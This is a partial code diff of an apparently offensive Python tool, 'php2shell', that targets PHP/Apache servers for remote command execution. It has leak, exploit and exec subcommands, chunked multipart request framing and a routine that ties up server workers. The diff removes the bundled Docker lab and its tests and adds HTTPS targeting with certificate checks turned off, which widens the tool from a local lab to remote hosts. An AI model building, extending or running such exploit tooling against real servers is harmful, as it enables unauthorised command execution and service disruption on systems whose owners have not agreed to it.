if os.path.exists(local):
|
||||
os.remove(local)
|
||||
code = 1
|
||||
@@ -433,12 +453,20 @@ def build_parser():
|
||||
|
||||
p = sub.add_parser("check")
|
||||
common(p)
|
||||
p.set_defaults(func=cmd_check)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true")
|
||||
p.add_argument("--insecure", action="store_true")
|
||||
p.set_defaults(func=cmd_check, resolve=True)
|
||||
|
||||
p = sub.add_parser("leak")
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true",
|
||||
help="use TLS; implied by an https:// url")
|
||||
p.add_argument("--insecure", action="store_true",
|
||||
help="skip TLS certificate verification (self-signed labs)")
|
||||
p.add_argument("--save", default="")
|
||||
p.set_defaults(func=cmd_leak, resolve=True)
|
||||
|
||||
@@ -446,19 +474,16 @@ def build_parser():
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true",
|
||||
help="use TLS; implied by an https:// url")
|
||||
p.add_argument("--insecure", action="store_true",
|
||||
help="skip TLS certificate verification (self-signed labs)")
|
||||
p.add_argument("--cmd", default="id>/out/p1")
|
||||
p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1"))
|
||||
p.add_argument("--proof", default=os.path.join(outdir.default_outdir(), "p1"))
|
||||
p.add_argument("--dry-run", action="store_true")
|
||||
p.add_argument("--retries", type=int, default=3)
|
||||
p.set_defaults(func=cmd_exploit, resolve=True)
|
||||
|
||||
p = sub.add_parser("lab")
|
||||
common(p)
|
||||
p.set_defaults(name=None, port=None)
|
||||
p.add_argument("action", nargs="?", choices=("up", "down", "status"), default="up")
|
||||
p.add_argument("--image", default="")
|
||||
p.add_argument("--net", default="")
|
||||
p.set_defaults(func=cmd_lab)
|
||||
|
||||
p = sub.add_parser("status")
|
||||
common(p)
|
||||
@@ -468,6 +493,10 @@ def build_parser():
|
||||
common(p)
|
||||
p.add_argument("--url", default="")
|
||||
p.add_argument("--path", default="")
|
||||
p.add_argument("--tls", action="store_true",
|
||||
help="use TLS; implied by an https:// url")
|
||||
p.add_argument("--insecure", action="store_true",
|
||||
help="skip TLS certificate verification (self-signed labs)")
|
||||
p.add_argument("--cmd", required=True)
|
||||
p.add_argument("--retries", type=int, default=3)
|
||||
p.set_defaults(func=cmd_exec, resolve=True)
|
||||
|
||||
-131
@@ -1,131 +0,0 @@
|
||||
import os
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
INIT = ("cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini\n"
|
||||
"chown -R www-data:www-data /out 2>/dev/null || true\n"
|
||||
"exec apache2-foreground")
|
||||
|
||||
INI_KEYS = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
|
||||
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
|
||||
"session.save_handler", "session.serialize_handler"}
|
||||
|
||||
|
||||
class LabError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def docker():
|
||||
exe = shutil.which("docker")
|
||||
if not exe:
|
||||
raise LabError("docker not found in PATH")
|
||||
return exe
|
||||
|
||||
|
||||
def host_path(path, nt=None):
|
||||
if nt is None:
|
||||
nt = os.name == "nt"
|
||||
return path.replace("\\", "/") if nt else path
|
||||
|
||||
|
||||
def build_run_args(root, image, name, port, net="", nt=None):
|
||||
lab_dir = os.path.join(root, "lab")
|
||||
out_dir = os.path.join(root, "out")
|
||||
args = ["run", "-d", "--name", name]
|
||||
if net:
|
||||
args += ["--network", net]
|
||||
args += [
|
||||
"-p", "127.0.0.1:%d:80" % port,
|
||||
"-v", host_path(os.path.join(lab_dir, "index.php"), nt) + ":/var/www/html/index.php:ro",
|
||||
"-v", host_path(os.path.join(lab_dir, "apache-single-worker.conf"), nt) + ":/etc/apache2/conf-enabled/zz-p2s.conf:ro",
|
||||
"-v", host_path(out_dir, nt) + ":/out",
|
||||
image,
|
||||
"/bin/sh", "-c", INIT,
|
||||
]
|
||||
return args
|
||||
|
||||
|
||||
def run(args, timeout=300, check=True):
|
||||
exe = docker()
|
||||
try:
|
||||
proc = subprocess.run([exe] + args, capture_output=True, text=True, timeout=timeout)
|
||||
except subprocess.TimeoutExpired as exc:
|
||||
raise LabError("docker %s timed out" % args[0]) from exc
|
||||
if check and proc.returncode != 0:
|
||||
msg = (proc.stderr or proc.stdout or "").strip().splitlines()
|
||||
raise LabError("docker %s failed: %s" % (args[0], msg[-1] if msg else "exit %d" % proc.returncode))
|
||||
return proc
|
||||
|
||||
|
||||
def executable(argv, name):
|
||||
exe = docker()
|
||||
proc = subprocess.run([exe, "exec", name] + argv,
|
||||
capture_output=True, text=True, timeout=120)
|
||||
return proc.stdout
|
||||
|
||||
|
||||
def _http_get(host, port, path="/index.php", timeout=1.0):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
try:
|
||||
request = ("GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host)).encode()
|
||||
sock.sendall(request)
|
||||
data = b""
|
||||
while b"\r\n\r\n" not in data:
|
||||
chunk = sock.recv(1024)
|
||||
if not chunk:
|
||||
break
|
||||
data += chunk
|
||||
finally:
|
||||
sock.close()
|
||||
head, _, body = data.partition(b"\r\n\r\n")
|
||||
return head, body
|
||||
|
||||
|
||||
def wait_ready(port, host="127.0.0.1", attempts=120, delay=0.25):
|
||||
for _ in range(attempts):
|
||||
try:
|
||||
head, body = _http_get(host, port)
|
||||
if b" 200" in head:
|
||||
return body.decode("latin1").strip()
|
||||
except OSError:
|
||||
pass
|
||||
time.sleep(delay)
|
||||
return None
|
||||
|
||||
|
||||
def up(root, image, name, port, net="", host="127.0.0.1"):
|
||||
run(["rm", "-f", name], check=False)
|
||||
os.makedirs(os.path.join(root, "out"), exist_ok=True)
|
||||
if net:
|
||||
run(["network", "create", net], check=False)
|
||||
run(build_run_args(root, image, name, port, net))
|
||||
body = wait_ready(port, host)
|
||||
if body is None:
|
||||
logs = run(["logs", "--tail", "20", name], check=False)
|
||||
raise LabError("target did not answer on %s:%d within %.0fs\n%s"
|
||||
% (host, port, 120 * 0.25, (logs.stdout or "") + (logs.stderr or "")))
|
||||
return body
|
||||
|
||||
|
||||
def down(name):
|
||||
run(["rm", "-f", name], check=False)
|
||||
return True
|
||||
|
||||
|
||||
def status(name, lib_path):
|
||||
rows = []
|
||||
ver = executable(["php", "-v"], name).splitlines()
|
||||
rows.append(("php", ver[0] if ver else "?"))
|
||||
for line in executable(["php", "-i"], name).splitlines():
|
||||
key, _, val = line.partition("=>")
|
||||
key = key.strip()
|
||||
if key in INI_KEYS:
|
||||
rows.append((key, val.split("=>")[0].strip()))
|
||||
sha = executable(["sha256sum", lib_path], name).split()
|
||||
rows.append(("libphp_sha256", sha[0] if sha else "?"))
|
||||
apache = executable(["apache2", "-v"], name).splitlines()
|
||||
rows.append(("apache", apache[0] if apache else "?"))
|
||||
rows.append(("workers", executable(["sh", "-c", "pgrep -c apache2"], name).strip()))
|
||||
return rows
|
||||
@@ -0,0 +1,15 @@
|
||||
import os
|
||||
|
||||
|
||||
def default_outdir():
|
||||
if os.name == "nt":
|
||||
base = os.environ.get("LOCALAPPDATA") or os.path.expanduser(os.path.join("~", "AppData", "Local"))
|
||||
else:
|
||||
base = os.environ.get("XDG_DATA_HOME") or os.path.expanduser(os.path.join("~", ".local", "share"))
|
||||
return os.path.join(base, "php2shell", "out")
|
||||
|
||||
|
||||
def ensure():
|
||||
path = default_outdir()
|
||||
os.makedirs(path, exist_ok=True)
|
||||
return path
|
||||
+19
-6
@@ -1,10 +1,22 @@
|
||||
import socket
|
||||
import ssl
|
||||
import time
|
||||
import urllib.parse
|
||||
|
||||
BOUNDARY = b"C" * 10
|
||||
|
||||
|
||||
def connect(host, port, timeout=5.0, tls=False, insecure=False):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if not tls:
|
||||
return sock
|
||||
ctx = ssl.create_default_context()
|
||||
if insecure:
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
return ctx.wrap_socket(sock, server_hostname=host)
|
||||
|
||||
|
||||
def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536):
|
||||
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
||||
"Content-Type: multipart/form-data; boundary=%s\r\n"
|
||||
@@ -25,9 +37,9 @@ def frame_plain(path, body, host, boundary=BOUNDARY):
|
||||
(path, host, boundary.decode(), len(body))).encode() + body
|
||||
|
||||
|
||||
def send(host, port, blob, timeout=600.0, limit=8 << 20):
|
||||
def send(host, port, blob, timeout=600.0, limit=8 << 20, tls=False, insecure=False):
|
||||
resp = bytearray()
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
sock = connect(host, port, timeout, tls, insecure)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
sock.sendall(blob)
|
||||
@@ -57,19 +69,20 @@ def status(resp):
|
||||
return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace")
|
||||
|
||||
|
||||
def warm(host, port, path="/index.php"):
|
||||
sock = socket.create_connection((host, port), timeout=5)
|
||||
def warm(host, port, path="/index.php", tls=False, insecure=False):
|
||||
sock = connect(host, port, 5, tls, insecure)
|
||||
sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode())
|
||||
sock.recv(1024)
|
||||
sock.close()
|
||||
|
||||
|
||||
def hold_workers(host, port, count, body_len=1048576, path="/index.php"):
|
||||
def hold_workers(host, port, count, body_len=1048576, path="/index.php",
|
||||
tls=False, insecure=False):
|
||||
held = []
|
||||
if count <= 0:
|
||||
return held
|
||||
for _ in range(count):
|
||||
sock = socket.create_connection((host, port), timeout=5)
|
||||
sock = connect(host, port, 5, tls, insecure)
|
||||
sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n"
|
||||
"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
"Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode())
|
||||
|
||||
+28
-19
@@ -8,31 +8,21 @@ def parse(argv):
|
||||
|
||||
|
||||
class SeparationTest(unittest.TestCase):
|
||||
def test_lab_defaults_to_up(self):
|
||||
self.assertEqual(parse(["lab"]).action, "up")
|
||||
|
||||
def test_lab_up_status_down(self):
|
||||
for action in ("up", "down", "status"):
|
||||
self.assertEqual(parse(["lab", action]).action, action)
|
||||
|
||||
def test_lab_rejects_unknown_action(self):
|
||||
def test_no_lab_subcommand(self):
|
||||
with self.assertRaises(SystemExit):
|
||||
parse(["lab", "exploit"])
|
||||
parse(["lab"])
|
||||
|
||||
def test_lab_has_no_exploit_flags(self):
|
||||
ns = parse(["lab", "up"])
|
||||
for flag in ("proof", "retries", "dry_run"):
|
||||
self.assertFalse(hasattr(ns, flag), flag)
|
||||
def test_subcommands_are_exploit_only(self):
|
||||
cases = {"check": [], "leak": [], "exploit": [], "status": [],
|
||||
"exec": ["--cmd", "id"], "offsets": ["--lib", "x"], "selftest": []}
|
||||
for name, extra in cases.items():
|
||||
self.assertTrue(callable(parse([name] + extra).func), name)
|
||||
|
||||
def test_exploit_keeps_its_flags(self):
|
||||
ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"])
|
||||
self.assertEqual(ns.cmd, "id>/out/x")
|
||||
self.assertEqual(ns.retries, 1)
|
||||
|
||||
def test_lab_actions_do_not_run_the_chain(self):
|
||||
ns = parse(["lab", "up"])
|
||||
self.assertIs(ns.func, cli.cmd_lab)
|
||||
|
||||
def test_exploit_and_leak_are_separate_commands(self):
|
||||
self.assertIs(parse(["exploit"]).func, cli.cmd_exploit)
|
||||
self.assertIs(parse(["leak"]).func, cli.cmd_leak)
|
||||
@@ -58,9 +48,28 @@ class UrlTargetTest(unittest.TestCase):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"]))
|
||||
self.assertEqual(ns.path, "/index.php")
|
||||
|
||||
def test_https_rejected(self):
|
||||
def test_https_enables_tls(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"]))
|
||||
self.assertTrue(ns.tls)
|
||||
self.assertEqual(ns.port, 443)
|
||||
self.assertEqual(ns.path, "/")
|
||||
|
||||
def test_https_default_port_443(self):
|
||||
ns = cli.resolve_target(parse(["leak", "--url", "https://lab.internal/index.php"]))
|
||||
self.assertEqual((ns.tls, ns.port, ns.path), (True, 443, "/index.php"))
|
||||
|
||||
def test_http_leaves_tls_off(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://lab.internal/"]))
|
||||
self.assertFalse(ns.tls)
|
||||
self.assertEqual(ns.port, 80)
|
||||
|
||||
def test_unsupported_scheme_rejected(self):
|
||||
with self.assertRaises(SystemExit):
|
||||
cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"]))
|
||||
cli.resolve_target(parse(["exploit", "--url", "ftp://lab.internal/"]))
|
||||
|
||||
def test_insecure_flag_parses(self):
|
||||
ns = parse(["exploit", "--url", "https://lab.internal", "--insecure"])
|
||||
self.assertTrue(ns.insecure)
|
||||
|
||||
def test_explicit_flags_win_over_url(self):
|
||||
ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"]))
|
||||
|
||||
@@ -1,72 +0,0 @@
|
||||
import os
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
from poc import lab
|
||||
|
||||
NT = os.name == "nt"
|
||||
|
||||
|
||||
class HostPathTest(unittest.TestCase):
|
||||
def test_windows_branch_replaces_backslashes(self):
|
||||
self.assertEqual(lab.host_path("C:\\Users\\x\\out", nt=True), "C:/Users/x/out")
|
||||
|
||||
def test_windows_branch_leaves_forward_slashes(self):
|
||||
self.assertEqual(lab.host_path("C:/Users/x/out", nt=True), "C:/Users/x/out")
|
||||
|
||||
def test_posix_branch_is_identity(self):
|
||||
self.assertEqual(lab.host_path("/srv/poc/out", nt=False), "/srv/poc/out")
|
||||
|
||||
def test_default_matches_platform(self):
|
||||
p = os.path.join(tempfile.gettempdir(), "out")
|
||||
got = lab.host_path(p)
|
||||
self.assertNotIn("\\", got)
|
||||
if not NT:
|
||||
self.assertEqual(got, p)
|
||||
|
||||
|
||||
class BuildRunArgsTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.root = os.path.join(tempfile.gettempdir(), "p2s-repo")
|
||||
self.args = lab.build_run_args(self.root, "php:8.4.26-apache", "p2s-lab", 18110, nt=NT)
|
||||
|
||||
def test_three_volume_mounts(self):
|
||||
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
|
||||
self.assertEqual(len(vols), 3)
|
||||
for vol in vols:
|
||||
self.assertTrue(vol.endswith(":ro") or vol.endswith(":/out"))
|
||||
|
||||
def test_destinations(self):
|
||||
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
|
||||
joined = " ".join(vols)
|
||||
self.assertIn(":/var/www/html/index.php:ro", joined)
|
||||
self.assertIn(":/etc/apache2/conf-enabled/zz-p2s.conf:ro", joined)
|
||||
self.assertTrue(joined.endswith(":/out"))
|
||||
|
||||
def test_volume_separators_are_docker_safe(self):
|
||||
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
|
||||
for vol in vols:
|
||||
self.assertNotIn("\\", vol)
|
||||
|
||||
def test_image_precedes_entrypoint(self):
|
||||
idx = self.args.index("php:8.4.26-apache")
|
||||
self.assertEqual(self.args[idx + 1:idx + 3], ["/bin/sh", "-c"])
|
||||
|
||||
def test_port_publish_binds_loopback(self):
|
||||
self.assertIn("127.0.0.1:18110:80", self.args)
|
||||
|
||||
def test_no_network_flag_by_default(self):
|
||||
self.assertNotIn("--network", self.args)
|
||||
|
||||
def test_network_flag_when_requested(self):
|
||||
args = lab.build_run_args(self.root, "img", "c", 1, net="p2s", nt=NT)
|
||||
self.assertEqual(args[args.index("--network") + 1], "p2s")
|
||||
|
||||
def test_init_script_has_no_crlf(self):
|
||||
self.assertNotIn("\r", lab.INIT)
|
||||
self.assertIn("exec apache2-foreground", lab.INIT)
|
||||
self.assertIn("php.ini-production", lab.INIT)
|
||||
|
||||
def test_no_shell_interpolation(self):
|
||||
self.assertEqual(self.args.count("-c"), 1)
|
||||
self.assertEqual(len([a for a in self.args if "$" in a]), 0)
|
||||
@@ -1,52 +0,0 @@
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
import unittest
|
||||
|
||||
from poc import lab
|
||||
|
||||
|
||||
class WaitReadyTest(unittest.TestCase):
|
||||
def _serve(self, payload):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind(("127.0.0.1", 0))
|
||||
server.listen(8)
|
||||
port = server.getsockname()[1]
|
||||
stop = threading.Event()
|
||||
|
||||
def loop():
|
||||
server.settimeout(0.2)
|
||||
while not stop.is_set():
|
||||
try:
|
||||
conn, _ = server.accept()
|
||||
except OSError:
|
||||
continue
|
||||
try:
|
||||
conn.recv(1024)
|
||||
conn.sendall(payload)
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
thread = threading.Thread(target=loop, daemon=True)
|
||||
thread.start()
|
||||
self.addCleanup(stop.set)
|
||||
self.addCleanup(server.close)
|
||||
return port
|
||||
|
||||
def test_returns_body_when_200(self):
|
||||
port = self._serve(b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n")
|
||||
self.assertEqual(lab.wait_ready(port, attempts=10), "OK")
|
||||
|
||||
def test_none_when_not_listening(self):
|
||||
dropped = socket.socket()
|
||||
dropped.bind(("127.0.0.1", 0))
|
||||
port = dropped.getsockname()[1]
|
||||
dropped.close()
|
||||
started = time.time()
|
||||
self.assertIsNone(lab.wait_ready(port, attempts=3, delay=0.01))
|
||||
self.assertLess(time.time() - started, 5)
|
||||
|
||||
def test_ignores_non_200(self):
|
||||
port = self._serve(b"HTTP/1.0 503 Nope\r\n\r\nbusy")
|
||||
self.assertIsNone(lab.wait_ready(port, attempts=2, delay=0.01))
|
||||
@@ -0,0 +1,41 @@
|
||||
import os
|
||||
import unittest
|
||||
|
||||
from poc import outdir
|
||||
|
||||
|
||||
class OutdirTest(unittest.TestCase):
|
||||
def test_path_is_absolute_and_ends_with_out(self):
|
||||
path = outdir.default_outdir()
|
||||
self.assertTrue(os.path.isabs(path))
|
||||
self.assertTrue(path.endswith("out"))
|
||||
|
||||
def test_contains_php2shell(self):
|
||||
self.assertIn("php2shell", outdir.default_outdir())
|
||||
|
||||
def test_honours_env(self):
|
||||
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
|
||||
old = os.environ.get(key)
|
||||
os.environ[key] = os.path.join(os.sep, "tmp" if os.name != "nt" else "C:\\", "poc-env")
|
||||
try:
|
||||
self.assertIn("poc-env", outdir.default_outdir())
|
||||
finally:
|
||||
if old is None:
|
||||
os.environ.pop(key, None)
|
||||
else:
|
||||
os.environ[key] = old
|
||||
|
||||
def test_ensure_creates_directory(self):
|
||||
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
|
||||
old = os.environ.get(key)
|
||||
import tempfile
|
||||
tmp = tempfile.mkdtemp(prefix="poc-out-")
|
||||
os.environ[key] = tmp
|
||||
try:
|
||||
path = outdir.ensure()
|
||||
self.assertTrue(os.path.isdir(path))
|
||||
finally:
|
||||
if old is None:
|
||||
os.environ.pop(key, None)
|
||||
else:
|
||||
os.environ[key] = old
|
||||
@@ -0,0 +1,108 @@
|
||||
import os
|
||||
import shutil
|
||||
import socket
|
||||
import ssl
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
from poc import wire
|
||||
|
||||
REPLY = b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n"
|
||||
|
||||
|
||||
def make_cert(tmp):
|
||||
cert = os.path.join(tmp, "cert.pem")
|
||||
key = os.path.join(tmp, "key.pem")
|
||||
subprocess.run(
|
||||
["openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key, "-out", cert,
|
||||
"-days", "1", "-nodes", "-subj", "/CN=127.0.0.1"],
|
||||
check=True, capture_output=True)
|
||||
return cert, key
|
||||
|
||||
|
||||
class TlsServer:
|
||||
def __init__(self, cert, key):
|
||||
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
self.ctx.load_cert_chain(cert, key)
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.sock.bind(("127.0.0.1", 0))
|
||||
self.sock.listen(8)
|
||||
self.port = self.sock.getsockname()[1]
|
||||
self.stop = threading.Event()
|
||||
self.thread = threading.Thread(target=self._loop, daemon=True)
|
||||
|
||||
def _loop(self):
|
||||
self.sock.settimeout(0.3)
|
||||
while not self.stop.is_set():
|
||||
try:
|
||||
conn, _ = self.sock.accept()
|
||||
except (socket.timeout, OSError):
|
||||
continue
|
||||
try:
|
||||
tls = self.ctx.wrap_socket(conn, server_side=True)
|
||||
tls.recv(65536)
|
||||
tls.sendall(REPLY)
|
||||
tls.close()
|
||||
except (ssl.SSLError, OSError):
|
||||
pass
|
||||
|
||||
def __enter__(self):
|
||||
self.thread.start()
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc):
|
||||
self.stop.set()
|
||||
self.sock.close()
|
||||
self.thread.join(timeout=3)
|
||||
|
||||
|
||||
@unittest.skipUnless(shutil.which("openssl"), "openssl not available")
|
||||
class WireTlsTest(unittest.TestCase):
|
||||
@classmethod
|
||||
def setUpClass(cls):
|
||||
cls.tmp = tempfile.mkdtemp(prefix="poc-tls-")
|
||||
cls.cert, cls.key = make_cert(cls.tmp)
|
||||
|
||||
@classmethod
|
||||
def tearDownClass(cls):
|
||||
shutil.rmtree(cls.tmp, ignore_errors=True)
|
||||
|
||||
def test_https_with_insecure_returns_body(self):
|
||||
with TlsServer(self.cert, self.key) as server:
|
||||
resp = wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n",
|
||||
timeout=5, tls=True, insecure=True)
|
||||
self.assertIn(b"OK", resp)
|
||||
self.assertEqual(wire.status(resp), "HTTP/1.0 200 OK")
|
||||
|
||||
def test_https_rejects_self_signed_by_default(self):
|
||||
with TlsServer(self.cert, self.key) as server:
|
||||
with self.assertRaises(ssl.SSLError):
|
||||
wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n", timeout=5, tls=True)
|
||||
|
||||
def test_chunked_framing_survives_tls(self):
|
||||
with TlsServer(self.cert, self.key) as server:
|
||||
blob = wire.frame_chunked("/index.php", b"ABCD", "127.0.0.1:%d" % server.port, chunk=2)
|
||||
resp = wire.send("127.0.0.1", server.port, blob, timeout=5, tls=True, insecure=True)
|
||||
self.assertIn(b"OK", resp)
|
||||
self.assertIn(b"Transfer-Encoding: chunked", blob)
|
||||
|
||||
def test_plain_still_works(self):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind(("127.0.0.1", 0))
|
||||
server.listen(1)
|
||||
port = server.getsockname()[1]
|
||||
|
||||
def once():
|
||||
conn, _ = server.accept()
|
||||
conn.recv(65536)
|
||||
conn.sendall(REPLY)
|
||||
conn.close()
|
||||
server.close()
|
||||
|
||||
threading.Thread(target=once, daemon=True).start()
|
||||
resp = wire.send("127.0.0.1", port, b"GET / HTTP/1.0\r\n\r\n", timeout=5)
|
||||
self.assertIn(b"OK", resp)
|
||||
Reference in New Issue
Block a user